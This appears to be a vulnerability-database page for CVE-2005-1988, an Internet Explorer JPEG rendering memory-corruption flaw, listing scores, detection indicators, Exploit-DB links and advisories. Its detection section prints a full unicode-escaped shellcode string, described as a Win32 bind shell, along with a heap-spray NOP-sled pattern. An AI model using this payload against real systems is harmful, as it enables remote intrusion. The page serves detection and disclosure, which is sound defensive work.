CVE-2005-1988
published 2005-08-10CVE-2005-1988: Unknown vulnerability in Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to execute arbitrary code via a web site or an HTML e-mail containing a…
PriorityP337medium5.1CVSS 2.0
AVNACHAuNCPIPAP
EXPLOIT
EPSS
45.60%
98.7th percentile
Unknown vulnerability in Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to execute arbitrary code via a web site or an HTML e-mail containing a crafted JPEG image that causes memory corruption, aka "JPEG Image Rendering Memory Corruption Vulnerability".
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb
bytes↗
%u0D0D%u0D0D
- →Exploit delivers a Win32 bind shell on TCP port 28876 via heap spray using NOP sled of 0x0D0D0D0D; detect outbound connections to port 28876 following IE JPEG rendering activity. ↗
- →Heap spray pattern uses repeated 0x0D0D0D0D as the NOP sled; scan JavaScript in HTML pages or email for unescape("%u0D0D%u0D0D") combined with shellcode allocation. ↗
- →Exploit instantiates the blnmgr.dll COM object by CLSID 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5; monitor for CreateObject or ActiveX instantiation of this CLSID in browser context. ↗
- →Vulnerability is triggered by a crafted JPEG image delivered via web page or HTML email; inspect JPEG files for malformed/corrupt headers that cause memory corruption in IE's rendering library. ↗
- →Exploit uses location.reload() after payload delivery; combined with shellcode unescape patterns in the same HTML page, this sequence is a strong behavioral indicator. ↗
- ·CVE-2005-1988 affects Internet Explorer 5.0, 5.5, and 6.0 only; the JPEG memory corruption vulnerability does not affect later IE versions. ↗
- ·The exploit PoC (EDB-25991) was generated via random fuzzing and was not researched further at time of disclosure; the exact malformed JPEG structure may vary across real-world samples. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Internet Explorer - 'blnmgr.dll' COM Object Remote (MS05-038)
exploitdb·2005-08-09
CVE-2005-1990 Microsoft Internet Explorer - 'blnmgr.dll' COM Object Remote (MS05-038)
Microsoft Internet Explorer - 'blnmgr.dll' COM Object Remote (MS05-038)
---
mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, 1991 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
Exploit-DB
Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering Buffer Overflow
exploitdb·2005-07-15
CVE-2005-1988 Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering Buffer Overflow
Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering Buffer Overflow
---
source: https://www.securityfocus.com/bid/14282/info
Microsoft Internet Explorer is prone to a buffer overflow vulnerability in the JPEG image rendering library used by the browser. This issue is due to a failure of the application to properly bounds check input data prior to copying it to a fixed size memory buffer.
This issue was identified by creating random input for the browser, and has not been researched further at this time. This BID will be updated as further information is disclosed.
Successful exploitation may result in execution of arbitrary code in the context of the user executing the affected browser.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25992-1.j
No writeups or analysis indexed.
http://secunia.com/advisories/16373/http://www.kb.cert.org/vuls/id/965206http://www.us-cert.gov/cas/techalerts/TA05-221A.htmlhttp://www.vupen.com/english/advisories/2005/1353https://docs.microsoft.com/en-us/security-updates/securitybulletins/2005/ms05-038https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1140https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1216https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1335https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A390http://secunia.com/advisories/16373/http://www.kb.cert.org/vuls/id/965206http://www.us-cert.gov/cas/techalerts/TA05-221A.htmlhttp://www.vupen.com/english/advisories/2005/1353https://docs.microsoft.com/en-us/security-updates/securitybulletins/2005/ms05-038https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1140https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1216https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1335https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A390
2005-08-10
Published